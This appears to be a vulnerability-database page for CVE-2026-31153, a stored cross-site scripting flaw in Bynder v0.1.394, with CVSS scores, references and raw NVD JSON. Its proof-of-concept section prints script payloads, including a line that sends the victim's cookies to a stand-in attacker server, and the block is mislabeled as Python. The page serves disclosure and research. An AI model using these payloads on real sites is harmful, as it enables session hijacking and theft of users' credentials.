CVE-2026-31153

Description

A stored cross-site scripting (XSS) vulnerability in Bynder v0.1.394 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Bynder v0.1.394

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for Stored XSS in Bynder v0.1.394 -->
<!-- Inject this payload into a vulnerable input field (e.g., Username, Description) -->

<script>
  // Simple verification payload
  alert('CVE-2026-31153 XSS Triggered');
  
  // Data exfiltration example
  var img = new Image();
  img.src = "http://attacker-controlled-server/log.php?c=" + encodeURIComponent(document.cookie);
</script>

<!-- Alternative Image Tag Payload -->
<img src=x onerror=alert(1)>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31153
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31153
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31153/
[4] VulDB https://vuldb.com/cve/CVE-2026-31153
[5] https://github.com/Henkel-CyberVM/CVEs/tree/main/CVE-2026-31153
[6] https://www.bynder.com/en/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31153", "sourceIdentifier": "[email protected]", "published": "2026-04-06T15:17:09.670", "lastModified": "2026-04-16T16:15:56.380", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability in Bynder v0.1.394 allows attackers to execute arbitrary web scripts or HTML via a crafted payload."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/Henkel-CyberVM/CVEs/tree/main/CVE-2026-31153", "source": "[email protected]"}, {"url": "https://www.bynder.com/en/", "source": "[email protected]"}]}}